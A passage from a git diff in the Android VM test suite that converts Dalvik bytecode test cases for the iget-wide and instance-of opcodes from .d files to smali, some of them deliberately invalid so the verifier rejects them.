+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_21.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_21;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+       
+       new-instance v0, Ldot/junit/opcodes/iget_wide/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_wide/TestStubs;-><init>()V
+       
+       iget-wide v1, v0, Ldot/junit/opcodes/iget_wide/TestStubs;->TestStubProtectedField:J
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_3.d
deleted file mode 100644
index bb7026e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_3.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_3
-.super java/lang/Object
-
-.field public  i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-wide v3, v2, dot.junit.opcodes.iget_wide.d.T_iget_wide_3.i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_3.smali
new file mode 100644
index 0000000..95aae39
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_3.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_3;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-wide v3, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_3;->i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_30.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_30.d
deleted file mode 100644
index 432f376..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_30.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_30.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_30
-.super java/lang/Object
-
-.field public  st_i1 J
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    new-instance v0, dot/junit/opcodes/iget_wide/d/T_iget_wide_30
-    iget-wide v1, v0, dot.junit.opcodes.iget_wide.d.T_iget_wide_30.st_i1 J
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_30.smali
new file mode 100644
index 0000000..a9b5fb0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_30.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_30.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_30;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    new-instance v0, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_30;
+    iget-wide v1, v0, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_30;->st_i1:J
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_31.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_31.d
deleted file mode 100644
index 7f97a07..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_31.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2014 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_31.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_31
-.super java/lang/Object
-
-.field public  st_i1 J
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-    iget v0, v0, dot.junit.opcodes.iget_wide.d.T_iget_wide_31.st_i1 J
-    return v0
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_31.smali
new file mode 100644
index 0000000..4fa811d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_31.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_31.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_31;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+    iget v0, v0, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_31;->st_i1:J
+    return v0
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_35.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_35.d
deleted file mode 100644
index 505b06e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_35.d
+++ /dev/null
@@ -1,31 +0,0 @@
-; Copyright (C) 2016 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_35.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_35
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 2
-       iget-wide v0, v1, dot.junit.opcodes.iget_wide.TestStubs.TestStubProtectedField J
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_35.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_35.smali
new file mode 100644
index 0000000..18b4ba8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_35.smali
@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_35.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_35;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 2
+       iget-wide v0, v1, Ldot/junit/opcodes/iget_wide/TestStubs;->TestStubProtectedField:J
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_4.d
deleted file mode 100644
index 8dd2d4e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_4.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_4
-.super java/lang/Object
-
-.field public  i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-
-       iget-wide v1, v2, dot.junit.opcodes.iget_wide.d.T_iget_wide_4.i1 J
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_4.smali
new file mode 100644
index 0000000..1fbf289
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_4.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_4;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       iget-wide v1, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_4;->i1:J
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_5.d
deleted file mode 100644
index cab5c10..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_5.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_5.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_5
-.super java/lang/Object
-
-.field public static i1 J
-
-.method public <init>()V
-.limit regs 4
-
-       invoke-direct {v3}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-
-       iget-wide v1, v2, dot.junit.opcodes.iget_wide.d.T_iget_wide_5.i1 J
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_5.smali
new file mode 100644
index 0000000..3478cf0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_5.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_5.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_5;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       iget-wide v1, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_5;->i1:J
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_6.d
deleted file mode 100644
index ba13f26..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_6.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_6.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-       
-       new-instance v0, Ldot/junit/opcodes/iget_wide/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iget_wide/TestStubs/<init>()V
-       
-       iget-wide v1, v0, dot.junit.opcodes.iget_wide.TestStubs.TestStubField J
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_6.smali
new file mode 100644
index 0000000..e98a056
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_6.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_6.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+       
+       new-instance v0, Ldot/junit/opcodes/iget_wide/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_wide/TestStubs;-><init>()V
+       
+       iget-wide v1, v0, Ldot/junit/opcodes/iget_wide/TestStubs;->TestStubField:J
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_7.d
deleted file mode 100644
index 572fdbe..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_7.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_7
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-
-       iget-wide v0, v2, dot.junit.opcodes.iget_wide.d.T_iget_wide_7no_class.i1 J
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_7.smali
new file mode 100644
index 0000000..541cb50
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_7.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       iget-wide v0, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_7no_class;->i1:J
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_8.d
deleted file mode 100644
index 96b8c56..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_8.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_8
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-
-       iget-wide v1, v2, dot.junit.opcodes.iget_wide.d.T_iget_wide_8.i1N J
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_8.smali
new file mode 100644
index 0000000..95479d8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_8.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       iget-wide v1, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_8;->i1N:J
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_9.d
deleted file mode 100644
index 3cb12cc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_9.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_9
-.super java/lang/Object
-
-.field public  i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-
-       const v0, 0
-       iget-wide v1, v0, dot.junit.opcodes.iget_wide.d.T_iget_wide_9.i1 J
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_9.smali
new file mode 100644
index 0000000..2304f4c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_9.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_9;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       const v0, 0
+       iget-wide v1, v0, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_9;->i1:J
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_1.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_1.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_1.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_1.smali
new file mode 100644
index 0000000..d4a4800
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_1.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/instance_of/d/T_instance_of_1;
+.super Ljava/lang/Object;
+.source "T_instance_of_1.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(Ljava/lang/Object;)Z
+    .registers 5
+
+    instance-of v0, p1, Ljava/lang/String;
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_2.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_2.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_2.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_2.smalis/SubClass.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_2.smalis/SubClass.smali
new file mode 100644
index 0000000..ad5c680
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_2.smalis/SubClass.smali
@@ -0,0 +1,27 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
